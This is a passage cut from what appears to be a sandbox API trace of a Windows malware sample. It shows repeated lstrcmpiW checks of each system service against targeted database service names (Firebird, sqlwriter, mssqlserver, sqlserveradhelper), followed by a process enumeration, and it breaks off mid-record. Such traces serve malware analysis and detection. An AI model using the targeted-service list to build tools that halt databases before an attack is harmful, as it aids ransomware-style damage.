lpString2="CDPSvc") returned 1 [0284.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0284.620] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0284.620] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0284.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0284.620] lstrlenW (lpString="ClickToRunSvc") returned 13 [0284.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0284.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0284.620] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0284.620] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0284.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0284.620] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0284.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0284.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0284.620] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0284.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0284.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0284.621] lstrlenW (lpString="CryptSvc") returned 8 [0284.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0284.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0284.621] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0284.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0284.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0284.621] lstrlenW (lpString="DcomLaunch") returned 10 [0284.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0284.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0284.621] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0284.621] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0284.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0284.621] lstrlenW (lpString="DeviceAssociationService") returned 24 [0284.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0284.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0284.621] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0284.621] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0284.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0284.621] lstrlenW (lpString="Dhcp") returned 4 [0284.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0284.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0284.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0284.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0284.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0284.622] lstrlenW (lpString="Dnscache") returned 8 [0284.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0284.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0284.622] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0284.622] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0284.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0284.622] lstrlenW (lpString="DPS") returned 3 [0284.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0284.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0284.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0284.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0284.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0284.622] lstrlenW (lpString="DusmSvc") returned 7 [0284.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0284.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0284.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0284.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0284.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0284.624] lstrlenW (lpString="EventLog") returned 8 [0284.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0284.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0284.625] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0284.625] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0284.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0284.625] lstrlenW (lpString="EventSystem") returned 11 [0284.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0284.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0284.625] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0284.625] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0284.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0284.625] lstrlenW (lpString="FontCache") returned 9 [0284.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0284.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0284.625] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0284.625] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0284.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0284.625] lstrlenW (lpString="gpsvc") returned 5 [0284.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0284.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0284.625] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0284.625] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0284.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0284.643] lstrlenW (lpString="iphlpsvc") returned 8 [0284.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0284.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0284.643] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0284.644] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0284.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0284.644] lstrlenW (lpString="KeyIso") returned 6 [0284.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0284.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0284.644] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0284.644] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0284.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0284.644] lstrlenW (lpString="LanmanServer") returned 12 [0284.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0284.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0284.644] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0284.644] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0284.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0284.644] lstrlenW (lpString="LanmanWorkstation") returned 17 [0284.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0284.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0284.644] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0284.644] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0284.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0284.644] lstrlenW (lpString="lfsvc") returned 5 [0284.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0284.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0284.644] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0284.644] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0284.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0284.645] lstrlenW (lpString="lmhosts") returned 7 [0284.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0284.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0284.645] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0284.645] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0284.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0284.645] lstrlenW (lpString="LSM") returned 3 [0284.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0284.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0284.645] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0284.645] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0284.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0284.707] lstrlenW (lpString="MpsSvc") returned 6 [0284.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0284.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0284.707] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0284.707] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0284.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0284.707] lstrlenW (lpString="NcbService") returned 10 [0284.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0284.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0284.707] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0284.707] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0284.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0284.707] lstrlenW (lpString="netprofm") returned 8 [0284.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0284.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0284.707] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0284.707] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0284.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0284.707] lstrlenW (lpString="NgcSvc") returned 6 [0284.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0284.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0284.707] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0284.707] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0284.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0284.708] lstrlenW (lpString="NlaSvc") returned 6 [0284.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0284.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0284.708] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0284.708] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0284.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0284.708] lstrlenW (lpString="nsi") returned 3 [0284.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0284.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0284.708] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0284.708] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0284.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0284.708] lstrlenW (lpString="PcaSvc") returned 6 [0284.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0284.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0284.708] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0284.708] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0284.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0284.708] lstrlenW (lpString="PlugPlay") returned 8 [0284.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0284.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0284.708] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0284.708] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0284.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0284.708] lstrlenW (lpString="Power") returned 5 [0284.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0284.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0284.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0284.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0284.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0284.708] lstrlenW (lpString="ProfSvc") returned 7 [0284.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0284.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0284.709] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0284.709] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0284.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0284.709] lstrlenW (lpString="RpcEptMapper") returned 12 [0284.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0284.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0284.709] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0284.709] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0284.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0284.709] lstrlenW (lpString="RpcSs") returned 5 [0284.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0284.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0284.709] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0284.709] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0284.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0284.709] lstrlenW (lpString="SamSs") returned 5 [0284.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0284.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0284.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0284.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0284.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0284.709] lstrlenW (lpString="Schedule") returned 8 [0284.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0284.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0284.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0284.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0284.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0284.709] lstrlenW (lpString="SecurityHealthService") returned 21 [0284.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0284.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0284.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0284.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0284.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0284.710] lstrlenW (lpString="SENS") returned 4 [0284.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0284.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0284.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0284.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0284.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0284.710] lstrlenW (lpString="ShellHWDetection") returned 16 [0284.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0284.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0284.710] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0284.710] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0284.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0284.710] lstrlenW (lpString="Spooler") returned 7 [0284.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0284.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0284.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0284.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0284.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0284.710] lstrlenW (lpString="StateRepository") returned 15 [0284.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0284.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0284.710] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0284.710] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0284.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0284.710] lstrlenW (lpString="SysMain") returned 7 [0284.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0284.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0284.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0284.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0284.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0284.710] lstrlenW (lpString="SystemEventsBroker") returned 18 [0284.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0284.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0284.711] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0284.711] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0284.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0284.711] lstrlenW (lpString="Themes") returned 6 [0284.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0284.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0284.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0284.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0284.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0284.711] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0284.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0284.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0284.711] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0284.711] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0284.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45de478 | out: hHeap=0x640000) returned 1 [0284.711] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x530 [0284.717] Process32FirstW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.718] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0284.719] lstrlenW (lpString="System") returned 6 [0284.719] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0284.720] lstrlenW (lpString="smss.exe") returned 8 [0284.720] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.742] lstrlenW (lpString="csrss.exe") returned 9 [0284.743] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0284.744] lstrlenW (lpString="wininit.exe") returned 11 [0284.744] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.745] lstrlenW (lpString="csrss.exe") returned 9 [0284.745] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0284.746] lstrlenW (lpString="winlogon.exe") returned 12 [0284.746] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0284.747] lstrlenW (lpString="services.exe") returned 12 [0284.747] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0284.748] lstrlenW (lpString="lsass.exe") returned 9 [0284.748] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0284.749] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0284.749] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0284.750] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0284.750] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.751] lstrlenW (lpString="svchost.exe") returned 11 [0284.751] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.752] lstrlenW (lpString="svchost.exe") returned 11 [0284.752] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0284.753] lstrlenW (lpString="dwm.exe") returned 7 [0284.753] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.754] lstrlenW (lpString="svchost.exe") returned 11 [0284.754] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, 